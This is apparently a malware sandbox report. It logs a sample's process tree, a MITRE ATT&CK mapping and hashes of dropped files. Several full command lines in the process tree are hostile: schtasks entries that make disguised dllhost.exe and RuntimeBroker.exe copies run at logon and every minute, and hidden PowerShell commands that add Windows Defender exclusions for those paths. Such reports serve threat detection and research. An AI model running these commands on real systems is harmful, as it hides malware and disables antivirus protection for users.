- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON
  2⤵
  PID:2424
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5216
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:5904
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheWatch.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2020
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheWatch /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-watch" /RL LIMITED /SC ONLOGON
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5736
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuard.xml
  2⤵
  PID:6056
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuard /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC ONLOGON
  2⤵
  PID:1672
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-HCCacheGuardPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4184
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN HCCacheGuardPulse /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe\" --backup-guard" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00
  2⤵
  PID:1068
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHost.xml
  2⤵
  PID:1480
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHost /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3156
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3652
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:2396
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAux.xml
  2⤵
  PID:5292
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAux /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC ONLOGON /IT
  2⤵
  PID:4992
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /XML C:\Users\Admin\AppData\Local\Temp\hc-task-Microsoft_Windows_Wininet_CacheHostAuxPulse.xml
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:704
- C:\Windows\system32\schtasks.exe
  schtasks /Create /F /TN Microsoft\Windows\Wininet\CacheHostAuxPulse /TR "\"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe\" --backup-listen" /RL LIMITED /SC MINUTE /MO 1 /ST 00:00 /IT
  2⤵
  PID:1756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\dllhost.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4288
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2020
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Caches\wininet' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:4620
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -NoProfile -WindowStyle Hidden -Command "try { Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches' -ErrorAction SilentlyContinue } catch {}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:1120

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe" --backup-guard
1⤵
- Executes a file named after a Windows system binary
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5944

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2388

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-listen
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2160

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:3092

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe" --backup-guard
1⤵
PID:5828

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
PID:1096

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-listen
1⤵
PID:4556

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
PID:4560

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
PID:4972

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\RuntimeBroker.exe" --backup-guard
1⤵
PID:5080

C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe" --backup-listen
1⤵
PID:4356

C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe
"C:\ProgramData\Microsoft\Windows\Caches\wininet\dllhost.exe" --backup-listen
1⤵
PID:3640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Debugger Evasion

T1622

Masquerading

T1036

Match Legitimate Name or Location

T1036.005

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Debugger Evasion

T1622

Network Share Discovery

T1135

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dllhost.exe

Path C:\ProgramData\Microsoft\Windows\Caches\dllhost.exe
Size 46.8MB
SHA256 68799c8e9301c682545476e8f6f1be3f84e1492281e4241eaec47ce59ab8496a
MD5 307ca42b8912570886b62e6a161d6ba6
SHA1 4405e493698aeb363d81aa51a427ff6a7a8aa0d3
SHA512 862621ce0059a2c4bc50c5b55fbe8c448e8f37ddc8d4efc1d4876a5d438ecca2ee36fee1f2415ce60eb12bafc83b4bfb186cdb21e3ab612d6b6705bc6a1bf863
SSDEEP 786432:2LoJietjb/5L7w5Xz4wTzxaufdV/Wg/DEXvShSUObItNQwYZ:/iGY5RTz3vHYzUF
TLSH
T147B7BE03E86541E9D4AAD535C6369233BB707C895B2463C72B60F7282F77BD0AE7A740
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

stream-url.txt

Path C:\ProgramData\Microsoft\Windows\Caches\stream-url.txt
Size 32B
SHA256 b49f2c83e883b0ba97b66c5acc05aa3e391758b6a18114710504c410fb11d091
MD5 219b080b68115f62d8ad0809bd988fed
SHA1 19c840f00d61baf5d119e84387f955873a18c788
SHA512 8cd8cd06a71e3e1e4e636120a6fcdcce154230840f7bd7901ed9caef269d47841e83ee95998f3f4eb97a171155f65cc5c6f6f6449f3561594c3480be5ab97c09
MD5 SHA1 SHA512

Submit Download

FontCacheService.exe

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\FontCacheService.exe
Size 5.9MB
SHA256 6f60ac58b3df76896e317d58b4757fd70ca8b98a986e45923bc3748bc8e325d5
MD5 631fa80042f3e9ae45d885217ecaa325
SHA1 c80eb6a5e47e0de14990d564d6d41c977a8e1aef
SHA512 b67ed94b826caec313c40c6f359bfc05ab11ba80723a5ed937f7d0e781708c549113bc5b38af37b1737a0092fc90b237507148c04dc06e1ecf04f007495d587b
SSDEEP 49152:Zw5raZ0jfC6YEMJlHE0LAgCi9dRNIE4vtnP/JLvpWOsiKfK1K6n/Q5RJ5EB:ZwhmO+0X+cn/8xE
TLSH
T111564A07FCA525E9C0AED1348AB69653BB617C890B2127D31B90F6383F72BD09DB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

a.pid

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\a.pid
Size 4B
SHA256 0670783b46c5906cf84d0501e8a44dc5a1e446dad06a4b2f443d54242cb78054
MD5 882735cbdfd9f810814d17892ae50023
SHA1 bb3e29ac93b725f6eefbfcf1bf0bee67783cd519
SHA512 adb55476e0a049af61e2382c6dfcc512af68439dc4a7e92ccc4b54d36d3f1682b391e27f426c3749fd1add9fd92ee383545a6f6431ce19dbac14ff9f9dd023b6
MD5 SHA1 SHA512

Submit Download

fc.log

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\fc.log
Size 112B
SHA256 f4b037cde5a8baa002764813fcd0f3b14254834b94779c12948e439d9052153e
MD5 035069e4f65a18ffb7e3e397c28517fc
SHA1 236ada7470aee3d41024e4e7c03fc11e71165bcd
SHA512 2f02a70b5ccdd2e1b12225775152d45a2d935ff7a0f151b92017f844157a9ec674e2be4de88bd8e4dea27e5ee00ebb018636736dd66d7aa14ab852c3f97cfa93
TLSH
T166B002C524A988786F6E1049D891B2544D7935555259184D1E71A1870D19C4F6260555
MD5 SHA1 SHA512 TLSH

Submit Download

fc.log

Path C:\Users\Admin\AppData\Local\Microsoft\FontCache\Data\fc.log
Size 209B
SHA256 ff59053a5960d231dd50bb8a9a125eda9b3647dfad766357459ba9550e17c262
MD5 f337522d9cbf9804a9454a43951f9204
SHA1 1091d9e34737995b86a8e93480da6b77add5254f
SHA512 d471d57f46485b7f8cb244e0138e95e37b53a4b630374dc1ca56c4cba1378286a94b5b7c98de7ad7d799bd311d3d843023ea098df57a86ad5b37a9a848e86cfc
TLSH
T1D0D012C934ED88747F6F108DD89172148D7E3422A71C6C4D3F70E1870D15C4F63204AA
MD5 SHA1 SHA512 TLSH

Submit Download